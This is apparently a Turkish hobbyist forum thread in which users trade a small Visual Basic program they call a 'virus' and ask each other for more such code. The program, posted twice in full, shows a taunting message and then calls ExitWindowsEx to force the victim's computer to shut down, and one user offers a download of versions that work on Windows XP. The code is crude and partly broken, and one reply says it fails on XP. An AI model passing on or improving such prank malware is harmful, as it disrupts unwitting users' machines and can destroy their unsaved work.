Ewt Bu Kodlar S1lv3r'in Dediği gibi ise Denemeye Gerek Yok, isteyen OLursa Bende XP'de Çalışan Kodlar Var...

Al Senin için Upload Ettim, Bilgisayara Reset Atma, Ayrıca Bi Mesaj Fazla Yazmışsın Sili Ve Bi zahmet.. Download Etmekiçin Tıkla

saol kardeş eline sağlık. güzel paylaşım.

japon kardeşim wersene şu kodları bizde yapalım

SP1 lerde oluyor ben

Bu kodu oldugu gibi form a yapistir Private Declare Function ExitWindowsEx Lib "user32" As Boolean Private Const EWX_SHUTDOWN = 1 Private Const EWX_FORCE = 4 Private Const EWX_REBOOT = 2 Private Const EWX_LOGOFF = 0 Private Sub form_load MsgBox "Kaydi len senin bilgisayara, bu virusu açin diyee " End Sub Private Sub form_Terminate kapat = ExitWindowsEx(EWX_SHUTDOWN, 1) If kapat = True Then Else MsgBox End If End Sub st.

koding japon kardeşim wersene şu kodları bizde yapalım bişeyler

Private Declare Function ExitWindowsEx Lib "user32" As Boolean Private Const EWX_SHUTDOWN = 1 Private Const EWX_FORCE = 4 Private Const EWX_REBOOT = 2 Private Const EWX_LOGOFF = 0 Private Sub form_load MsgBox "Kaydi len senin bilgisayara, bu virusu açin diyee " End Sub Private Sub form_Terminate kapat = ExitWindowsEx(EWX_SHUTDOWN, 1) If kapat = True Then Else MsgBox End If End Sub

Güzel bulmuşsun fakat verdiğib bilgisayarı kapatma kodu xplerde çalışmaz. Bu yüzden mesajını verir ve hişçbirşey olmmaış gibi devam eder.